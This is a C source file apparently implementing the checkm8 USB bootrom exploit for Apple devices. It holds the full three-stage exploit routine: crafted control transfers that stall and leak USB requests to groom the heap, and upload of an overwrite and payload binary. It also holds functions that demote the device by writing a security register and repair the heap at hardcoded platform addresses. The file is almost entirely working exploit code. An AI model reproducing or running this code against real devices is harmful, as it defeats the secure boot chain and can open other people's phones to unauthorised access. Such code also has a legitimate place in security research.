#include "checkm8.h"

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "usb_helpers.h"
#include "command.h"
#include "bootrom_addr.h"

static unsigned char data_0xA_0xC0_buf[192] =
        {
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA
        };

static unsigned char data_0xA_0xC1_buf[193] =
        {
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA, 0xA,
                0xA
        };

static unsigned char data_0x0_0x40_buf[64] =
        {
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
        };

static unsigned char data_0x0_0x41_buf[65] =
        {
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0
        };

static unsigned char data_0x0_0xC0_buf[192] =
        {
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
                0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
        };

int stall(struct pwned_device *dev)
{
    checkm8_debug_indent("stall(dev = %p)\n", dev);
    return partial_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
}

int leak(struct pwned_device *dev)
{
    checkm8_debug_indent("leak(dev = %p)\n", dev);
    no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1);
    return CHECKM8_SUCCESS;
}

int no_leak(struct pwned_device *dev)
{
    checkm8_debug_indent("no_leak(dev = %p)\n", dev);
    no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1);
    return CHECKM8_SUCCESS;
}

int usb_req_stall(struct pwned_device *dev)
{
    checkm8_debug_indent("usb_req_stall(dev = %p)\n", dev);
    unsigned char data[0];
    no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
    return CHECKM8_SUCCESS;
}

int usb_req_leak(struct pwned_device *dev)
{
    checkm8_debug_indent("usb_req_leak(dev = %p)\n", dev);
    no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
    return CHECKM8_SUCCESS;
}

int usb_req_no_leak(struct pwned_device *dev)
{
    checkm8_debug_indent("usb_req_no_leak(dev = %p)\n", dev);
    no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
    return CHECKM8_SUCCESS;
}

int stage1_function(struct pwned_device *dev)
{
    checkm8_debug_indent("exploit stage 1\n");
    unsigned int i;

    stall(dev);
    leak(dev);
    for(i = 0; i < 6; i++) no_leak(dev);

    reset(dev);
    return CHECKM8_SUCCESS;
}

int stage2_function(struct pwned_device *dev)
{
    checkm8_debug_indent("exploit stage 2\n");
    unsigned char databuf[0x800];
    memset(databuf, 'A', 0x800);

    partial_ctrl_transfer(dev, 0x21, 1, 0, 0, databuf, 0x800, 1);
    no_error_ctrl_transfer(dev, 0x21, 4, 0, 0, NULL, 0, 0);
    reset(dev);

    return CHECKM8_SUCCESS;
}

int stage3_function(struct pwned_device *dev)
{
    long index = 0, amount = 0;
    long ow_len, pl_len;

    checkm8_debug_indent("exploit stage 3\n");
    FILE *overwrite_file = fopen(CHECKM8_BIN_BASE "overwrite.bin", "r");
    fseek(overwrite_file, 0, SEEK_END);
    ow_len = ftell(overwrite_file);
    rewind(overwrite_file);

    unsigned char overwrite_buf[ow_len];
    fread(overwrite_buf, ow_len, 1, overwrite_file);
    fclose(overwrite_file);

    FILE *payload_file = fopen(CHECKM8_BIN_BASE "payload.bin", "r");
    fseek(payload_file, 0, SEEK_END);
    pl_len = ftell(payload_file);
    rewind(payload_file);

    unsigned char payload_buf[pl_len];
    fread(payload_buf, pl_len, 1, payload_file);
    fclose(payload_file);

    stall(dev);
    leak(dev);
    leak(dev);

    checkm8_debug_indent("\ttransferring overwrite (%i bytes)\n", ow_len);
    while(index < ow_len)
    {
        if(ow_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
        else amount = ow_len - index;
        checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);

        no_error_ctrl_transfer_data(dev, 0, 0, 0, 0, &overwrite_buf[index], amount, 100);
        index += amount;
    }

    index = 0;
    amount = 0;

    checkm8_debug_indent("\ttransferring payload (%i bytes)\n", pl_len);
    while(index < pl_len)
    {
        if(pl_len - index >= MAX_PACKET_SIZE) amount = MAX_PACKET_SIZE;
        else amount = pl_len - index;
        checkm8_debug_indent("\tbytes %i to %i\n", index, index + amount);

        no_error_ctrl_transfer_data(dev, 0x21, 1, 0, 0, &payload_buf[index], amount, 100);
        index += amount;
    }

    reset(dev);
    return CHECKM8_SUCCESS;
}

int check_function(struct pwned_device *dev)
{
    checkm8_debug_indent("checking device serial\n");
    unsigned char serial_buf[128];
    unsigned int i;
    int ret;

    ret = serial_descriptor(dev, serial_buf, sizeof(serial_buf));
    if(IS_CHECKM8_FAIL(ret)) return ret;

    checkm8_debug_indent("\tgot serial %s\n", serial_buf);
    for(i = 0; i < 13; i++)
    {
        if(serial_buf[99 + i] != "PWND:[checkm8]"[i]) return CHECKM8_FAIL_NOEXP;
    }

    return CHECKM8_SUCCESS;
}

struct pwned_device *exploit_device()
{
    int ret;
    struct pwned_device *res = calloc(1, sizeof(struct pwned_device));
    checkm8_debug_indent("exploit_device() -> dev = %p\n", res);
    res->status = DEV_NORMAL;
    res->idVendor = DEV_IDVENDOR;
    res->idProduct = DEV_IDPRODUCT;

#ifdef WITH_ARDUINO
    res->ard_fd = -1;
#else
    res->bundle = calloc(1, sizeof(struct libusb_device_bundle));
#endif

    ret = open_device_session(res);
    if(IS_CHECKM8_FAIL(ret))
    {
        checkm8_debug_indent("\tfailed to open device session\n");
        free_device(res);
        return NULL;
    }

    ret = check_function(res);
    if(ret == CHECKM8_SUCCESS)
    {
        checkm8_debug_indent("\tdevice is already exploited\n");
        res->status = DEV_PWNED;
        close_device_session(res);
        return res;
    }
    else if(ret == CHECKM8_FAIL_NODEV)
    {
        checkm8_debug_indent("\tno device found\n");
        free_device(res);
        return NULL;
    }
    else
    {
        // normal device found - exploit
        ret = stage1_function(res);
        if(ret == CHECKM8_SUCCESS)
        {
            ret = stage2_function(res);
            usleep(500000);
        }

        if(ret == CHECKM8_SUCCESS)
        {
            ret = stage3_function(res);
            usleep(500000);
        }

        if(ret == CHECKM8_SUCCESS)
        {
            ret = check_function(res);
        }

        if(ret == CHECKM8_SUCCESS)
        {
            res->status = DEV_PWNED;
            close_device_session(res);
            return res;
        }
        else
        {
            free_device(res);
            return NULL;
        }
    }
}

int demote_device(struct pwned_device *dev)
{
    checkm8_debug_indent("demote_device(dev = %p)\n", dev);
    unsigned int oldval, newval;
    int retval;

    if(IS_CHECKM8_FAIL(open_device_session(dev)))
    {
        checkm8_debug_indent("\tfailed to open a device session\n");
        return CHECKM8_FAIL_XFER;
    }

    struct dev_cmd_resp *resp = dev_read_memory(dev, DEMOTE_REG, 4);
    if(IS_CHECKM8_FAIL(resp->ret))
    {
        free_dev_cmd_resp(resp);
        checkm8_debug_block("\tfailed to read demotion reg\n");
        return CHECKM8_FAIL_INVARGS;
    }

    oldval = *((unsigned int *) resp->data);
    free_dev_cmd_resp(resp);
    if(!(oldval & 1u))
    {
        checkm8_debug_block("\tdevice already demoted\n");
        if(IS_CHECKM8_FAIL(close_device_session(dev)))
        {
            checkm8_debug_indent("\tfailed to close device session\n");
            return CHECKM8_FAIL_XFER;
        }

        return CHECKM8_SUCCESS;
    }

    oldval &= 0xFFFFFFFE;

    checkm8_debug_indent("\tattempting to demote device\n");
    resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
    if(IS_CHECKM8_FAIL(resp->ret))
    {
        checkm8_debug_block("\tfailed to write to demotion reg\n");
        free_dev_cmd_resp(resp);

        if(IS_CHECKM8_FAIL(close_device_session(dev)))
        {
            checkm8_debug_indent("\tfailed to close device session\n");
            return CHECKM8_FAIL_XFER;
        }

        return CHECKM8_FAIL_INVARGS;
    }
    free_dev_cmd_resp(resp);

    // verify
    resp = dev_read_memory(dev, DEMOTE_REG, 4);
    if(IS_CHECKM8_FAIL(resp->ret))
    {
        free_dev_cmd_resp(resp);
        checkm8_debug_block("\tfailed to verify demotion reg\n");

        if(IS_CHECKM8_FAIL(close_device_session(dev)))
        {
            checkm8_debug_indent("\tfailed to close device session\n");
            return CHECKM8_FAIL_XFER;
        }

        return CHECKM8_FAIL_INVARGS;
    }

    newval = *((unsigned int *) resp->data);
    free_dev_cmd_resp(resp);

    if(oldval == newval)
    {
        checkm8_debug_block("\tdemotion success!\n");
        retval = CHECKM8_SUCCESS;
    }
    else
    {
        checkm8_debug_block("\tdemotion register did not change!\n");
        retval = CHECKM8_FAIL_INVARGS;
    }

    if(IS_CHECKM8_FAIL(close_device_session(dev)))
    {
        checkm8_debug_indent("\tfailed to close device session\n");
        return CHECKM8_FAIL_XFER;
    }

    return retval;
}

int fix_heap(struct pwned_device *dev)
{
    checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
    int close;

    #if CHECKM8_PLATFORM == 8010
    unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
    unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
    unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};

    unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
    unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
    unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};

    if(is_device_session_open(dev)) close = 0;
    else
    {
        close = 1;
        if(IS_CHECKM8_FAIL(open_device_session(dev)))
        {
            checkm8_debug_indent("\tfailed to open a device session\n");
            return CHECKM8_FAIL_XFER;
        }
    }

    dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
    dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
    dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);

    dev_exec(dev, 0, 5, calc1_args);
    dev_exec(dev, 0, 5, calc2_args);
    dev_exec(dev, 0, 5, calc3_args);

    if(close) close_device_session(dev);

#else
#error "Can't fix heap for unknown platform"
#endif

    return CHECKM8_SUCCESS;
}

void free_device(struct pwned_device *dev)
{
    checkm8_debug_indent("free_device(dev = %p)\n", dev);
    if(is_device_session_open(dev)) close_device_session(dev);
#ifndef WITH_ARDUINO
    free(dev->bundle);
#endif
    free(dev);
}